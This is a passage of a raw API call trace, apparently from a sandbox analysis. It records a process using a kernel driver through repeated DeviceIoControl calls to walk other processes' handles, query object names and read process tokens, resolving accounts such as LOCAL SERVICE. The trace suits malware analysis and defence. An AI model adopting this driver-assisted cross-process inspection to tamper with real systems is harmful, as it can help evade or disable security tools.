ReturnLength=0xfffff88005473550) returned 0x0 [0136.744] ObfDereferenceObject (Object=0xfffff8a001be2760) returned 0x2 [0136.744] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.744] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.744] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.744] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.744] PsAcquireProcessExitSynchronization () returned 0x0 [0136.744] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.744] ObReferenceObjectByHandle (in: Handle=0x1244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0136.744] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.744] PsReleaseProcessExitSynchronization () returned 0x2 [0136.744] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.744] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.744] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0136.744] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.744] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.744] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0136.744] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0136.744] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.744] PsAcquireProcessExitSynchronization () returned 0x0 [0136.744] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0) [0136.745] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800318bc40, HandleInformation=0x0) returned 0x0 [0136.745] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.745] PsReleaseProcessExitSynchronization () returned 0x2 [0136.745] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0136.745] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.745] ObfDereferenceObject (Object=0xfffffa800318bc40) returned 0x1 [0136.745] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.745] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.745] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0136.745] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.745] PsAcquireProcessExitSynchronization () returned 0x0 [0136.745] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0) [0136.745] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800318f770, HandleInformation=0x0) returned 0x0 [0136.745] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.745] PsReleaseProcessExitSynchronization () returned 0x2 [0136.745] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0136.745] ObQueryNameString (in: Object=0xfffffa800318f770, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.745] ObfDereferenceObject (Object=0xfffffa800318f770) returned 0x11 [0136.745] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.745] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.745] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.745] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.745] PsAcquireProcessExitSynchronization () returned 0x0 [0136.745] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0) [0136.745] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800318ff20, HandleInformation=0x0) returned 0x0 [0136.745] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.745] PsReleaseProcessExitSynchronization () returned 0x2 [0136.745] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0136.745] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.746] ObfDereferenceObject (Object=0xfffffa800318ff20) returned 0x1 [0136.746] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.746] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.746] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.746] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.746] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.746] PsAcquireProcessExitSynchronization () returned 0x0 [0136.746] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0) [0136.746] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.746] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.746] PsReleaseProcessExitSynchronization () returned 0x2 [0136.746] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0136.746] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.746] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.746] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.746] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.746] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.746] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.746] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.746] PsAcquireProcessExitSynchronization () returned 0x0 [0136.746] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054735d0) [0136.746] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.746] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.746] PsReleaseProcessExitSynchronization () returned 0x2 [0136.746] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0136.746] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.746] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.746] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.746] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.746] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f8) returned 0xc0 [0136.746] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.746] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80031ba920, HandleInformation=0x0) returned 0x0 [0136.746] ObOpenObjectByPointer (in: Object=0xfffffa80031ba920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.747] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd2 [0136.747] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.747] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.747] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.747] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.747] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.748] CloseHandle (hObject=0xc8) returned 1 [0136.748] CloseHandle (hObject=0xc0) returned 1 [0136.748] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.748] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.748] PsAcquireProcessExitSynchronization () returned 0x0 [0136.748] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0) [0136.749] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031ad610, HandleInformation=0x0) returned 0x0 [0136.749] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.749] PsReleaseProcessExitSynchronization () returned 0x2 [0136.749] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0136.749] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.749] ObfDereferenceObject (Object=0xfffffa80031ad610) returned 0x1 [0136.749] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.749] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.749] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.749] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.749] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.749] PsAcquireProcessExitSynchronization () returned 0x0 [0136.749] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0) [0136.749] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031bc1f0, HandleInformation=0x0) returned 0x0 [0136.749] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.749] PsReleaseProcessExitSynchronization () returned 0x2 [0136.749] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0136.749] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.749] ObfDereferenceObject (Object=0xfffffa80031bc1f0) returned 0x1 [0136.749] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.749] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.749] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.749] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.749] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.749] PsAcquireProcessExitSynchronization () returned 0x0 [0136.749] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0) [0136.749] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f68f20, HandleInformation=0x0) returned 0x0 [0136.749] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.749] PsReleaseProcessExitSynchronization () returned 0x2 [0136.749] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0136.749] ObQueryNameString (in: Object=0xfffffa8002f68f20, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.750] ObfDereferenceObject (Object=0xfffffa8002f68f20) returned 0x1 [0136.750] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.750] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.750] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.750] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.750] PsAcquireProcessExitSynchronization () returned 0x0 [0136.750] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0) [0136.750] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.750] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.750] PsReleaseProcessExitSynchronization () returned 0x2 [0136.750] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0136.750] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.750] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.750] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.750] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.750] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.750] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.750] PsAcquireProcessExitSynchronization () returned 0x0 [0136.750] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0) [0136.750] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0136.751] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.751] PsReleaseProcessExitSynchronization () returned 0x2 [0136.751] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0136.751] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.751] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0136.751] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.751] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.751] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0136.751] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.751] PsAcquireProcessExitSynchronization () returned 0x0 [0136.751] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054735d0) [0136.751] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800346fbf0, HandleInformation=0x0) returned 0x0 [0136.751] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.751] PsReleaseProcessExitSynchronization () returned 0x2 [0136.751] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0136.751] ObQueryNameString (in: Object=0xfffffa800346fbf0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.751] ObfDereferenceObject (Object=0xfffffa800346fbf0) returned 0x1 [0136.751] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.751] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.751] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x218) returned 0xc0 [0136.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.751] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80031c1b30, HandleInformation=0x0) returned 0x0 [0136.751] ObOpenObjectByPointer (in: Object=0xfffffa80031c1b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.751] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb5 [0136.751] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.751] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.751] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.751] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.752] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.753] CloseHandle (hObject=0xc8) returned 1 [0136.753] CloseHandle (hObject=0xc0) returned 1 [0136.753] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.753] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.753] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.753] PsAcquireProcessExitSynchronization () returned 0x0 [0136.753] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.753] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031d7b30, HandleInformation=0x0) returned 0x0 [0136.753] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.753] PsReleaseProcessExitSynchronization () returned 0x2 [0136.753] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.753] ObQueryNameString (in: Object=0xfffffa800282fcd0, 